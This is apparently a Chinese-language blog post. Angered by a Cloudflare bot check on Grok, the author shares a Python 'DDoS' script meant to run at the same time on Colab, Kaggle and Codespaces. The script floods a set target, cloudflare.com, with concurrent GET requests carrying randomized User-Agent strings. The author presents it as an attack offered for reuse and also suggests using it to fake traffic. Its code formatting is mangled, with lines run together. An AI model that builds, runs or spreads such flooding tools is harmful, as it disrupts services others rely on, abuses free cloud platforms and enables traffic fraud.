ddos 放在多个云主机,同时运行
1. 起因, 目的:
我打开 grok, 被 cloudflare 拦截,问我是不是机器人。
这个情况,如果是别的小网站也就算了,很正常。
大公司也搞这种东西,要么是偷懒,要么是太小气了。
一气之下,我决定写个 ddos, 找几个免费的云端平台,一起运行。
-
3个平台: colab, kaggle, codespaces
-
我觉得这个方法,用来刷流量,应该也是可行的。
2. 先看效果
ddos
# Filename: concurrent_requests.py
import requests
import time
import random
from concurrent.futures import ThreadPoolExecutor
from threading import Lock
from uuid import uuid4# Global counters for tracking success/failure
success_count = 0
failure_count = 0
lock = Lock()# 修改这里!
target = "https://www.cloudflare.com/" # 目标num_requests = 1000
max_workers =10def send_request(url, timeout=5):global success_count, failure_countheaders = {'User-Agent': f'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{random.randint(90, 120)}.0.0.0 Safari/537.36'}t = str(uuid4())try:response = requests.get(url, headers=headers, timeout=timeout)response.raise_for_status()with lock:success_count += 1return f"Request succeeded, status code: {response.status_code}" + "_" + texcept Exception as e:with lock:failure_count += 1return f"Request failed: {str(e)}" + "_" + tdef run_concurrent_requests(url, num_requests=50, max_workers=10):print(f"Starting {num_requests} requests with max {max_workers} concurrent threads")start_time = time.time()with ThreadPoolExecutor(max_workers=max_workers) as executor:# Submit all request tasksfutures = [executor.submit(send_request, url) for _ in range(num_requests)]# Collect resultsfor future in futures:print(future.result())end_time = time.time()print(f"\nTest completed! Total time: {end_time - start_time:.2f} seconds")print(f"Successful requests: {success_count}, Failed requests: {failure_count}")if __name__ == '__main__':run_concurrent_requests(target, num_requests, max_workers)
希望对大家有帮助。